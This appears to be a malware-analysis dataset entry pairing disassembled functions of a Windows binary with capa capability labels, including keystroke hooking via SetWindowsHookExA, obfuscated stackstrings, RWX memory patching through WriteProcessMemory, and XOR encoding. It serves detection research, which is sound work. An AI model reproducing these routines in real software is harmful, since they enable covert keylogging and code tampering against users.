joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1004affb
Capabilities:
Contain obfuscated stackstrings
Log keystrokes via application hook

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, dword [0x101882c8]
sub esp, 0x30
mov eax, dword [eax + 0x120]
push ebx
push esi
mov esi, ecx
sub eax, 1
je 0x1004b19c
sub eax, 1
jne 0x1004b1b2
mov byte [esp + 0x16], 0x47
xor ebx, ebx
mov byte [esp + 0x17], 0x6c
mov byte [esp + 0x18], 0x76
mov byte [esp + 0x19], 0x73
mov byte [esp + 0x1a], 0x64
mov byte [esp + 0x1b], 0x77
mov byte [esp + 0x1c], 0x66
mov byte [esp + 0x1d], 0x6b
mov byte [esp + 0x1e], 0x50
mov byte [esp + 0x1f], 0x68
mov byte [esp + 0x20], 0x76
mov byte [esp + 0x21], 0x76
mov byte [esp + 0x22], 0x64
mov byte [esp + 0x23], 0x6a
mov byte [esp + 0x24], 0x68
mov byte [esp + 0x25], 0x44
mov byte [esp + 0x26], bl
mov al, byte [esp + 0x16]
mov eax, ebx
sub byte [esp + eax + 0x16], 3
inc eax
cmp eax, 0x10
jb 0x1004b081
mov byte [esp + 8], 0x5e
mov byte [esp + 9], 0x7c
mov byte [esp + 0xa], 0x6e
mov byte [esp + 0xb], 0x7b
mov byte [esp + 0xc], 0x3c
mov byte [esp + 0xd], 0x3b
mov byte [esp + 0xe], bl
mov al, byte [esp + 8]
mov eax, ebx
sub byte [esp + eax + 8], 9
inc eax
cmp eax, 6
jb 0x1004b0b4
push 1
push 1
push 0x1004af6d
push ecx
lea eax, [esp + 0x26]
push eax
lea eax, [esp + 0x1c]
push eax
call fcn.1005cd16
pop ecx
push eax
mov ecx, esi
call fcn.1005b9d9
mov byte [esp + 0x27], 0x47
mov byte [esp + 0x28], 0x6c
mov byte [esp + 0x29], 0x76
mov byte [esp + 0x2a], 0x73
mov byte [esp + 0x2b], 0x64
mov byte [esp + 0x2c], 0x77
mov byte [esp + 0x2d], 0x66
mov byte [esp + 0x2e], 0x6b
mov byte [esp + 0x2f], 0x50
mov byte [esp + 0x30], 0x68
mov byte [esp + 0x31], 0x76
mov byte [esp + 0x32], 0x76
mov byte [esp + 0x33], 0x64
mov byte [esp + 0x34], 0x6a
mov byte [esp + 0x35], 0x68
mov byte [esp + 0x36], 0x5a
mov byte [esp + 0x37], bl
mov al, byte [esp + 0x27]
mov eax, ebx
sub byte [esp + eax + 0x27], 3
inc eax
cmp eax, 0x10
jb 0x1004b13b
mov byte [esp + 0xf], 0x56
mov byte [esp + 0x10], 0x74
mov byte [esp + 0x11], 0x66
mov byte [esp + 0x12], 0x73
mov byte [esp + 0x13], 0x34
mov byte [esp + 0x14], 0x33
mov byte [esp + 0x15], bl
mov al, byte [esp + 0xf]
dec byte [esp + ebx + 0xf]
inc ebx
cmp ebx, 6
jb 0x1004b16c
push 1
push 1
push 0x1004af6d
push ecx
lea eax, [esp + 0x37]
mov ecx, esi
push eax
lea eax, [esp + 0x23]
push eax
call fcn.1005cd16
pop ecx
push eax
mov ecx, esi
call fcn.1005b9d9
jmp 0x1004b1b2
xor ebx, ebx
push ebx
push ebx
push 0x1004aed2
push 0xd
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
mov dword [0x10188c50], eax
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1004c772
Capabilities:
Enumerate process modules

Disassembly:
mov eax, 0x1008b286
call fcn.10088f8c
sub esp, 0x24c
push ebx
xor eax, eax
push esi
mov esi, ecx
mov dword [ebp - 0x14], esi
mov dword [ebp - 4], eax
mov dword [ebp - 0x10], eax
and dword [esi], eax
push edi
push 0x24
mov dword [esi + 4], eax
mov dword [esi + 8], eax
call fcn.10079940
pop ecx
mov dword [eax], eax
mov dword [eax + 4], eax
mov dword [esi + 4], eax
xor ebx, ebx
lea ecx, [esi + 0xc]
xor eax, eax
inc ebx
mov dword [ebp - 4], ebx
mov dword [ecx], eax
mov dword [ecx + 4], eax
mov dword [ecx + 8], eax
push 8
mov byte [ebp - 4], 2
pop edi
push dword [esi + 4]
mov dword [esi + 0x18], 7
push 0x10
mov dword [esi + 0x1c], edi
mov dword [esi], 0x3f800000
call fcn.1000b1e2
and dword [ebp - 4], 0
mov dword [ebp - 0x10], ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcessId]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x1004c896
lea eax, [ebp - 0x258]
mov dword [ebp - 0x258], 0x224
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Module32First]
jmp 0x1004c88b
mov al, byte [ebp - 0x238]
lea edi, [ebp - 0x238]
jmp 0x1004c83d
movzx eax, al
push eax
call dword [sym.imp.msvcrt.dll_toupper]
mov byte [edi], al
inc edi
pop ecx
mov al, byte [edi]
test al, al
jne 0x1004c82d
lea eax, [ebp - 0x238]
push eax
lea ecx, [ebp - 0x34]
call fcn.1000ade5
lea eax, [ebp - 0x34]
mov dword [ebp - 4], 3
push eax
lea eax, [ebp - 0x1c]
mov ecx, esi
push eax
call fcn.1000b89c
mov ecx, dword [eax]
mov eax, dword [ebp - 0x23c]
mov byte [ebp - 4], 0
mov dword [ecx + 0x20], eax
lea ecx, [ebp - 0x34]
call fcn.1000b1b1
lea eax, [ebp - 0x258]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Module32Next]
test eax, eax
jne 0x1004c81f
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x10059a52
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
mov eax, ecx
mov dword [ebp - 4], edx
push edi
push eax
mov dword [ebp - 8], eax
xor edi, edi
xor esi, esi
xor ebx, ebx
call dword [sym.imp.msvcrt.dll_feof]
pop ecx
test eax, eax
jne 0x10059adf
cmp ebx, edi
jne 0x10059a9a
lea eax, [edi + 0x3e8]
mov edx, edi
push eax
mov ecx, esi
mov dword [ebp - 0xc], eax
call fcn.1005865d
pop ecx
test eax, eax
je 0x10059b16
mov edi, dword [ebp - 0xc]
mov esi, eax
call dword [sym.imp.msvcrt.dll__errno]
push dword [ebp - 8]
and dword [eax], 0
mov eax, edi
sub eax, ebx
push eax
lea eax, [ebx + esi]
push 1
push eax
call dword [sym.imp.msvcrt.dll_fread]
push dword [ebp - 8]
mov dword [ebp - 0xc], eax
call dword [sym.imp.msvcrt.dll_ferror]
add esp, 0x14
test eax, eax
jne 0x10059b1d
push dword [ebp - 8]
add ebx, dword [ebp - 0xc]
call dword [sym.imp.msvcrt.dll_feof]
pop ecx
test eax, eax
je 0x10059a75
cmp ebx, edi
jne 0x10059b56
lea eax, [edi + 1]
mov edx, edi
push eax
mov ecx, esi
call fcn.1005865d
pop ecx
test eax, eax
jne 0x10059b54
push 0x10185134
push 0xc8
push dword [ebp - 4]
call fcn.10039240
add esp, 0xc
test esi, esi
je 0x10059b12
push esi
call dword [0x1009bcdc]
pop ecx
xor eax, eax
jmp 0x10059b76
push 0x1018515c
jmp 0x10059af6
mov edi, dword [sym.imp.msvcrt.dll__errno]
call edi
cmp dword [eax], 0
je 0x10059b37
call edi
push dword [eax]
call dword [sym.imp.msvcrt.dll_strerror]
pop ecx
jmp 0x10059b3c
mov eax, str.Error_reading_file
push eax
push 0x10185144
push 0xc8
push dword [ebp - 4]
call fcn.10039240
add esp, 0x10
jmp 0x10059b06
mov esi, eax
mov edx, dword [ebp - 4]
push ecx
mov ecx, esi
mov byte [ebx + esi], 0
call fcn.100598f1
mov edi, eax
pop ecx
test esi, esi
je 0x10059b74
push esi
call dword [0x1009bcdc]
pop ecx
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1005a9f9
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
xor esi, esi
mov ebx, ecx
push edi
mov ecx, 0x4f4e4554
mov edi, esi
mov edx, dword [edi + 0x100d17b8]
mov eax, edx
xor eax, ecx
mov ecx, edx
mov dword [edi + 0x100d17b8], eax
add edi, 4
cmp edi, 0x9ca38
jb 0x1005aa07
push 0x4e018
push 1
call dword [sym.imp.msvcrt.dll_calloc]
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x1005aa57
push ecx
push ecx
mov ecx, edi
mov dword [edi + 0x50], esi
call fcn.100760ed
pop ecx
pop ecx
test eax, eax
je 0x1005aa4f
mov esi, edi
jmp 0x1005aa57
push edi
call dword [sym.imp.msvcrt.dll_free]
pop ecx
pop edi
mov dword [ebx + 4], esi
test esi, esi
pop esi
setne al
pop ebx
ret

Function at 0x1005ab2c
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov byte [ebp - 0xb], 0x6d
xor ecx, ecx
mov byte [ebp - 0xa], 0x70
mov byte [ebp - 9], 0x73
mov byte [ebp - 8], 0x23
mov byte [ebp - 7], 0x33
mov byte [ebp - 6], 0x7b
mov byte [ebp - 5], 0x28
mov byte [ebp - 4], 0x33
mov byte [ebp - 3], 0x3b
mov byte [ebp - 2], 0x7b
mov byte [ebp - 1], cl
mov al, byte [ebp - 0xb]
sub byte [ebp + ecx - 0xb], 3
inc ecx
cmp ecx, 0xa
jb 0x1005ab62
push dword [ebp + 8]
lea eax, [ebp - 0xb]
push eax
push dword [ebp + 0xc]
call fcn.1005c64c
add esp, 0xc
leave
ret 8
Function at 0x1005ab83
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov byte [ebp - 0xc], 0x6d
xor ecx, ecx
mov byte [ebp - 0xb], 0x6b
mov byte [ebp - 0xa], 0x76
mov byte [ebp - 9], 0x76
mov byte [ebp - 8], 0x2a
mov byte [ebp - 7], 0x3a
mov byte [ebp - 6], 0x82
mov byte [ebp - 5], 0x2f
mov byte [ebp - 4], 0x3a
mov byte [ebp - 3], 0x42
mov byte [ebp - 2], 0x82
mov byte [ebp - 1], cl
mov al, byte [ebp - 0xc]
sub byte [ebp + ecx - 0xc], 0xa
inc ecx
cmp ecx, 0xb
jb 0x1005abbd
push dword [ebp + 8]
lea eax, [ebp - 0xc]
push eax
push dword [ebp + 0xc]
call fcn.1005c64c
add esp, 0xc
leave
ret 8
Function at 0x1005c444
Capabilities:
Allocate or change rwx memory

Disassembly:
push ecx
push ebx
push ebp
push edi
push 8
mov ebp, ecx
call fcn.10079940
mov ebx, dword [esp + 0x1c]
mov edi, eax
and ebx, 0xfffff000
mov dword [esp + 0x10], edi
pop ecx
and dword [edi + 4], 0
cmp dword [esp + 0x18], 0
mov dword [edi], vtable.MemoryAllocator.0
cmove ebx, dword [esp + 0x18]
push 0x40
push 0x3000
push 0x200
add ebx, 0x1000
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [edi + 4], eax
test eax, eax
je 0x1005c476
lea ecx, [ebp + 4]
mov dword [esp + 0x18], edi
mov eax, dword [ecx + 4]
cmp eax, dword [ecx + 8]
je 0x1005c4ad
mov dword [eax], edi
add dword [ecx + 4], 4
jmp 0x1005c4b8
lea edx, [esp + 0x18]
push edx
push eax
call fcn.1005e1a9
mov eax, dword [edi + 4]
pop edi
pop ebp
pop ebx
pop ecx
ret 8

Function at 0x1005c4e1
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ecx
and dword [esp], 0
lea eax, [esp]
push ebx
mov ebx, dword [esp + 0xc]
push ebp
push esi
push eax
push 0x40
mov ebp, ecx
mov esi, edx
push ebx
push ebp
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 0
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push ebp
call esi
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea eax, [esp + 0xc]
push eax
push dword [esp + 0x10]
push ebx
push ebp
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push ebx
push ebp
call esi
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
pop esi
pop ebp
mov eax, ebx
pop ebx
pop ecx
ret

Function at 0x1005c58d
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x230
push ebx
push ebp
push esi
mov ebx, edx
mov esi, ebx
push edi
mov edi, ecx
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x1005c5a6
sub esi, ecx
mov ebp, 0x100
cmp esi, ebp
jae 0x1005c642
push 0x228
lea eax, [esp + 0x1c]
push 0
push eax
call sub.msvcrt.dll_memset
and dword [esp + 0x30], 0
lea eax, [esp + 0x4c]
add esp, 0xc
mov dword [esp + 0x20], edi
push ebx
push ebp
push eax
call dword [sym.imp.msvcrt.dll_strcpy_s]
add esp, 0xc
lea ecx, [esp + 0x18]
xor ebx, ebx
mov byte [esp + 0x18], bl
call fcn.10061b7b
test eax, eax
je 0x1005c642
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [esp + 0x14]
push eax
push 0x40
push dword [esp + 0x30]
mov dword [esp + 0x20], ebx
push edi
call esi
push ebx
push dword [esp + 0x2c]
lea eax, [esp + 0x38]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea eax, [esp + 0x14]
push eax
push dword [esp + 0x18]
push dword [esp + 0x30]
push edi
call esi
mov eax, dword [esp + 0x28]
jmp 0x1005c644
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1005ca37
Capabilities:
Enumerate pe sections
Parse pe header
Read file on windows

Disassembly:
mov eax, 0x1008b52e
call fcn.10088f8c
sub esp, 0x214
push ebx
xor ebx, ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0x18], eax
test eax, eax
je 0x1005cb36
push esi
push edi
push 0x104
lea eax, [ebp - 0x220]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [ebp - 0x220]
push 0x1009bfdc
push eax
call dword [sym.imp.msvcrt.dll__wfopen]
mov esi, dword [sym.imp.msvcrt.dll_fseek]
mov ebx, eax
push 2
push 0
push ebx
call esi
push ebx
call dword [sym.imp.msvcrt.dll_ftell]
mov edi, eax
xor eax, eax
push eax
push eax
push ebx
call esi
push edi
call fcn.10079dad
push ebx
push 1
mov esi, eax
push edi
push esi
call dword [sym.imp.msvcrt.dll_fread]
push ebx
call dword [sym.imp.msvcrt.dll_fclose]
mov eax, 0x5a4d
add esp, 0x3c
xor ebx, ebx
cmp word [esi], ax
jne 0x1005cb2d
mov ecx, dword [esi + 0x3c]
add ecx, esi
cmp dword [ecx], 0x4550
jne 0x1005cb2d
movzx edi, word [ecx + 0x14]
mov edx, ebx
movzx eax, word [ecx + 6]
add edi, 0x18
add edi, ecx
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], edi
test eax, eax
je 0x1005cb2d
mov ecx, ebx
mov eax, str..bind
movzx eax, byte [eax + ecx]
cmp al, byte [edi + ecx]
jne 0x1005cb47
inc ecx
cmp ecx, 6
jne 0x1005caf3
mov ebx, dword [ebp - 0x14]
mov eax, dword [ebp + 0x10]
imul edx, edx, 0x28
mov ecx, dword [edx + ebx + 0xc]
add ecx, dword [ebp - 0x18]
mov dword [eax], ecx
mov ecx, dword [edx + ebx + 0x10]
cmp ecx, dword [edx + ebx + 8]
mov eax, dword [ebp + 0x14]
cmovbe ecx, dword [edx + ebx + 8]
mov bl, 1
mov dword [eax], ecx
push esi
call fcn.1007993b
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0xc]
mov al, bl
pop ebx
mov dword fs:[0], ecx
leave
ret 0x10
inc edx
add edi, 0x28
cmp edx, dword [ebp - 0x10]
jl 0x1005caf1
jmp 0x1005cb2d
Function at 0x1005cd2f
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov eax, 0x1008b581
call fcn.10088f8c
sub esp, 0x68
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
xor ebx, ebx
lea eax, [edi*2 + 1]
push eax
call fcn.10079dad
mov byte [ebp - 0x21], 0x33
mov esi, eax
mov byte [ebp - 0x20], 0x34
mov edx, dword [ebp + 8]
mov byte [ebp - 0x1f], 0x35
mov byte [ebp - 0x1e], 0x36
mov byte [ebp - 0x1d], 0x37
mov byte [ebp - 0x1c], 0x38
mov byte [ebp - 0x1b], 0x39
mov byte [ebp - 0x1a], 0x3a
mov byte [ebp - 0x19], 0x3b
mov byte [ebp - 0x18], 0x3c
mov byte [ebp - 0x17], 0x44
mov byte [ebp - 0x16], 0x45
mov byte [ebp - 0x15], 0x46
mov byte [ebp - 0x14], 0x47
mov byte [ebp - 0x13], 0x48
mov byte [ebp - 0x12], 0x49
mov byte [ebp - 0x11], bl
mov al, byte [ebp - 0x21]
pop ecx
mov ecx, esi
mov eax, ebx
sub byte [ebp + eax - 0x21], 3
inc eax
cmp eax, 0x10
jb 0x1005cda1
test edi, edi
je 0x1005cdd2
movzx eax, byte [edx]
shr eax, 4
mov al, byte [ebp + eax - 0x21]
mov byte [ecx], al
movzx eax, byte [edx]
and eax, 0xf
mov al, byte [ebp + eax - 0x21]
mov byte [ecx + 1], al
add ecx, 2
inc edx
sub edi, 1
jne 0x1005cdb0
push 0x700
push dword [ebp + 0x10]
mov byte [ecx], bl
lea ecx, [ebp - 0x38]
call fcn.1005cf76
mov dword [ebp - 4], ebx
xorps xmm0, xmm0
mov dword [ebp - 0x70], ebx
mov byte [ebp - 0x6c], bl
movups xmmword [ebp - 0x68], xmm0
mov dword [ebp - 0x58], ebx
mov byte [ebp - 0x54], bl
mov dword [ebp - 0x50], ebx
mov dword [ebp - 0x4c], ebx
mov byte [ebp - 0x48], bl
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x40], ebx
mov byte [ebp - 0x3c], bl
mov ecx, esi
mov byte [ebp - 4], 1
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1005ce15
sub ecx, edx
lea eax, [ebp - 0x38]
push esi
push ecx
push eax
lea eax, [ebp - 0x70]
lea edx, [ecx + esi]
mov ecx, esi
push eax
call fcn.1005df0e
add esp, 0x10
push 0xc
pop edi
test al, al
je 0x1005ce98
mov eax, dword [ebp - 0x64]
sub eax, dword [ebp - 0x68]
cdq
idiv edi
mov ecx, eax
lea eax, [ebp - 0x44]
test ecx, ecx
cmovne eax, dword [ebp - 0x68]
mov eax, dword [eax]
sub eax, dword [ebp - 0x70]
cdq
sub eax, edx
mov ebx, eax
lea eax, [ebp - 0x44]
sar ebx, 1
add ebx, dword [ebp + 8]
test ecx, ecx
cmovne eax, dword [ebp - 0x68]
mov edi, dword [eax]
sub edi, dword [ebp - 0x70]
add edi, ecx
add edi, esi
mov edx, edi
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x1005ce76
push edi
push ecx
lea eax, [ebp - 0x38]
sub edx, ecx
push eax
lea eax, [ebp - 0x70]
add edx, edi
push eax
mov ecx, edi
call fcn.1005df0e
add esp, 0x10
push 0xc
pop edi
push esi
call fcn.1007993b
pop ecx
mov ecx, dword [ebp - 0x68]
test ecx, ecx
je 0x1005ceba
mov eax, dword [ebp - 0x60]
sub eax, ecx
cdq
idiv edi
imul eax, eax, 0xc
push eax
push ecx
call fcn.1000c703
pop ecx
pop ecx
lea ecx, [ebp - 0x38]
call fcn.1005d0eb
lea ecx, [ebp - 0x2c]
call fcn.1005bf45
mov ecx, dword [ebp - 0xc]
mov eax, ebx
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret 0x10
Function at 0x1005d487
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push esi
mov esi, dword [esp + 8]
mov edx, 0x811c9dc5
xor ecx, ecx
movzx eax, byte [esi + ecx]
xor eax, edx
imul edx, eax, 0x1000193
inc ecx
cmp ecx, 4
jb 0x1005d493
pop esi
mov eax, edx
ret 4

Function at 0x1005f07f
Capabilities:
Parse credit card information

Disassembly:
push ebx
push esi
mov esi, ecx
xor cl, cl
push edi
mov eax, dword [esi + 0x4c]
cmp eax, 0xffffffff
je 0x1005f215
mov edx, 0x10000000
cmp eax, 0x7c
je 0x1005f215
cmp eax, 0x29
jne 0x1005f0eb
cmp dword [esi + 0x10], 0
jne 0x1005f215
test dword [esi + 0x50], edx
je 0x1005f21b
cmp eax, 0x5d
jne 0x1005f0c6
test dword [esi + 0x50], edx
je 0x1005f1ab
movzx eax, byte [esi + 0x48]
lea ecx, [esi + 0x24]
push eax
call fcn.1005fc65
mov bl, 1
mov ecx, esi
call fcn.1005f057
test bl, bl
je 0x1005f0e7
mov ecx, esi
call fcn.1005fb80
mov cl, 1
jmp 0x1005f086
cmp eax, 0x2e
jne 0x1005f103
push 5
lea ecx, [esi + 0x24]
call fcn.1005f2e2
mov ecx, esi
call fcn.1005f057
jmp 0x1005f0e0
cmp eax, 0x5c
jne 0x1005f14f
mov ecx, esi
call fcn.1005f057
test byte [esi + 0x50], 0x80
je 0x1005f146
mov al, byte [esi + 0x48]
cmp al, 0x62
jne 0x1005f12f
push 4
lea ecx, [esi + 0x24]
call fcn.1005f2e2
mov ecx, esi
call fcn.1005f057
jmp 0x1005f0e7
cmp al, 0x42
jne 0x1005f146
push 4
lea ecx, [esi + 0x24]
call fcn.1005f2e2
mov eax, dword [esi + 0x28]
xor dword [eax + 8], 1
jmp 0x1005f126
mov ecx, esi
call fcn.1005fa19
jmp 0x1005f0e0
cmp eax, 0x5b
jne 0x1005f1af
mov ecx, esi
call fcn.1005f057
lea ecx, [esi + 0x24]
call fcn.1006094c
mov eax, dword [esi + 0x4c]
cmp eax, 0x5e
jne 0x1005f17c
mov eax, dword [esi + 0x28]
mov ecx, esi
xor dword [eax + 8], 1
call fcn.1005f057
mov eax, dword [esi + 0x4c]
test dword [esi + 0x50], 0x20000000
je 0x1005f19a
cmp eax, 0x5d
jne 0x1005f19a
push eax
lea ecx, [esi + 0x24]
call fcn.10060994
mov ecx, esi
call fcn.1005f057
mov ecx, esi
call fcn.10060617
cmp dword [esi + 0x4c], 0x5d
je 0x1005f0fa
push 4
jmp 0x1005f21d
cmp eax, 0x28
jne 0x1005f1cf
mov ecx, esi
call fcn.1005f057
mov ecx, esi
call fcn.1005faf1
cmp dword [esi + 0x4c], 0x29
mov bl, al
jne 0x1005f21b
jmp 0x1005f0d5
cmp eax, 0x5e
jne 0x1005f1db
push 2
jmp 0x1005f11e
cmp eax, 0x24
jne 0x1005f1e7
push 3
jmp 0x1005f11e
cmp eax, 0x2a
je 0x1005f211
cmp eax, 0x2b
je 0x1005f211
cmp eax, 0x3f
je 0x1005f211
cmp eax, 0x7b
je 0x1005f211
cmp eax, 0x7d
jne 0x1005f0b8
test dword [esi + 0x50], edx
jne 0x1005f0c6
push 6
jmp 0x1005f21d
push 0xa
jmp 0x1005f21d
pop edi
pop esi
mov al, cl
pop ebx
ret
push 5
call fcn.1005e526
int3
Function at 0x10069f6e
Capabilities:
Encode data using xor

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
mov esi, ecx
test edi, edi
je 0x10069f95
sub edx, esi
mov cl, byte [esi + edx]
lea eax, [ecx - 0x41]
cmp al, 0x19
seta al
dec al
and al, 0x20
xor al, cl
mov byte [esi], al
inc esi
sub edi, 1
jne 0x10069f7c
pop edi
pop esi
ret
Function at 0x1006d211
Capabilities:
Encode data using xor

Disassembly:
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x18]
mov ebp, edx
push ebp
xor ebx, ebx
mov esi, ecx
push ebx
push edi
call sub.msvcrt.dll_memset
mov ecx, dword [esp + 0x20]
mov edx, ebp
movzx eax, cl
add esp, 0xc
imul eax, eax, 0xd
imul edx, ecx
mov cl, al
mov dword [esp + 0x14], eax
add edx, esi
xor cl, 0x6e
test ebp, ebp
jle 0x1006d261
sub edi, edx
mov al, byte [edx]
xor al, cl
mov byte [edx + edi], al
mov al, byte [edx]
add al, byte [esp + 0x14]
add al, bl
add cl, al
inc ebx
inc edx
cmp ebx, ebp
jl 0x1006d24a
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x1006feef
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov edx, ecx
mov ebx, 0x1018c580
push 8
xor eax, eax
mov edi, ebx
pop ecx
rep stosd dword es:[edi], eax
mov edi, ebx
lea esi, [edx + 0x1016e1f0]
sub edi, edx
mov cl, byte [esi]
xor cl, dl
xor cl, 0x6e
mov byte [edi + edx], cl
inc edx
inc esi
test cl, cl
jne 0x1006ff0c
pop edi
pop esi
mov eax, ebx
pop ebx
ret
Function at 0x10071a7c
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
not ecx
cmp esi, 4
jb 0x10071ae7
push edi
mov edi, esi
shr edi, 2
movzx eax, byte [edx]
sub esi, 4
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x100aaf20]
movzx eax, byte [edx + 1]
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x100aaf20]
movzx eax, byte [edx + 2]
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x100aaf20]
movzx eax, byte [edx + 3]
add edx, 4
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x100aaf20]
sub edi, 1
jne 0x10071a90
pop edi
test esi, esi
je 0x10071b03
movzx eax, byte [edx]
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x100aaf20]
inc edx
sub esi, 1
jne 0x10071aeb
not ecx
mov eax, ecx
pop esi
pop ebp
ret
Function at 0x10077e56
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x45c
push ebx
push esi
mov esi, ecx
push edi
mov edi, edx
test esi, esi
jne 0x10077e75
or eax, 0xffffffff
jmp 0x10077f63
cmp dword [esi + 0x14], 1
je 0x10077e83
push 0xfffffffffffffffc
pop eax
jmp 0x10077f63
cmp edi, dword [esi + 0x10]
jb 0x10077e8c
push 0xfffffffffffffff6
jmp 0x10077e7d
mov ecx, dword [esi + 0x48]
mov eax, dword [ecx + 0x10]
mov eax, dword [eax + edi*4]
add eax, dword [ecx]
jne 0x10077e9d
push 0xfffffffffffffff5
jmp 0x10077e7d
movzx ebx, word [eax + 0x1c]
add eax, 0x2e
cmp dword [esi + 0x5c], 0
mov dword [esp + 0xc], eax
je 0x10077ec0
push dword [esi + 0x5c]
call dword [sym.imp.msvcrt.dll_free]
and dword [esi + 0x5c], 0
mov eax, dword [esp + 0x10]
pop ecx
push ecx
push ecx
mov edx, ebx
mov ecx, eax
call fcn.100779a4
mov dword [esi + 0x5c], eax
pop ecx
pop ecx
test eax, eax
jne 0x10077ed8
push 0xfffffffffffffffe
jmp 0x10077e7d
lea eax, [esp + 0x10]
mov edx, edi
push eax
mov ecx, esi
call fcn.10077974
pop ecx
test eax, eax
jne 0x10077eef
push 0xfffffffffffffffd
jmp 0x10077e7d
mov eax, dword [esp + 0x38]
mov ecx, dword [esp + 0x3c]
mov dword [esi + 0x68], eax
mov eax, dword [esp + 0x40]
mov dword [esi + 0x60], eax
mov eax, dword [esp + 0x30]
mov dword [esi + 0x70], eax
mov eax, dword [esp + 0x18]
mov dword [esi + 0x78], eax
mov eax, dword [esp + 0x50]
mov dword [esi + 0x6c], ecx
mov ecx, dword [esp + 0x44]
mov dword [esi + 0xa0], eax
mov ax, word [esp + 0x26]
mov dword [esi + 0x64], ecx
mov ecx, dword [esp + 0x1c]
mov word [esi + 0xa8], ax
mov eax, dword [esp + 0x4c]
mov dword [esi + 0x7c], ecx
mov ecx, dword [esp + 0x54]
mov dword [esi + 0x4e008], eax
mov eax, dword [esp + 0x28]
mov dword [esi + 0xa4], ecx
mov ecx, dword [esp + 0x2c]
mov dword [esi + 0x4e010], eax
xor eax, eax
mov dword [esi + 0x58], edi
mov dword [esi + 0x4e014], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret